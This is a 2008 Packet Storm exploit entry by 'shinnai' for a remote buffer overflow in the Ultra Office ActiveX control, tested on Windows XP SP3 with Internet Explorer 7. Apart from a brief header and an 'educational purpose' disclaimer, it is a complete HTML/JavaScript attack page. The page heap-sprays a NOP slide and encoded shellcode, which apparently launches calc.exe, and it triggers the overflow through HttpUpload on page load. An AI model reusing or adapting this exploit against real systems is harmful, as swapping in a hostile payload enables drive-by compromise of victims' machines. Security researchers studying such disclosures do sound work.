ultra-overflow.txt

2008-08-27T00:00:00
ID PACKETSTORM:69443
Type packetstorm
Reporter shinnai
Modified 2008-08-27T00:00:00

Description

                                        
                                            `-----------------------------------------------------------------------------  
Ultra Office ActiveX Control Remote Buffer Overflow  
url: http://www.ultrashareware.com  
  
Author: shinnai  
mail: shinnai[at]autistici[dot]org  
site: http://www.shinnai.net  
  
This was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7  
-----------------------------------------------------------------------------  
<script language="JavaScript" defer>  
var sCode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +  
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +  
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +  
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +  
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +  
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +  
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +  
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +  
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +  
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +  
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +  
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +  
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +  
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +  
"%u652E%u6578%u9000");  
var sSlide = unescape("%u9090%u9090");  
var heapSA = 0x0c0c0c0c;  
function tryMe()  
{  
var buffSize = 20000;  
var x = unescape("%0c%0c%0c%0c");  
while (x.length<buffSize) x += x;  
x = x.substring(0,buffSize);  
boom.HttpUpload(x, x, x);  
}  
function getsSlide(sSlide, sSlideSize)  
{  
while (sSlide.length*2<sSlideSize)  
{  
sSlide += sSlide;  
}  
sSlide = sSlide.substring(0,sSlideSize/2);  
return (sSlide);  
}  
var heapBS = 0x400000;  
var sizeHDM = 0x5;  
var PLSize = (sCode.length * 2);  
var sSlideSize = heapBS - (PLSize + sizeHDM);  
var heapBlocks = (heapSA+heapBS)/heapBS;  
var memory = new Array();  
sSlide = getsSlide(sSlide,sSlideSize);  
for (i=0;i<heapBlocks;i++)  
{  
memory[i] = sSlide + sCode;  
}  
</script>  
<body onload="JavaScript: return tryMe();">  
<object id="boom" classid="clsid:00989888-BB72-4E31-A7C6-5F819C24D2F7">  
Unable to create object  
</object>  
`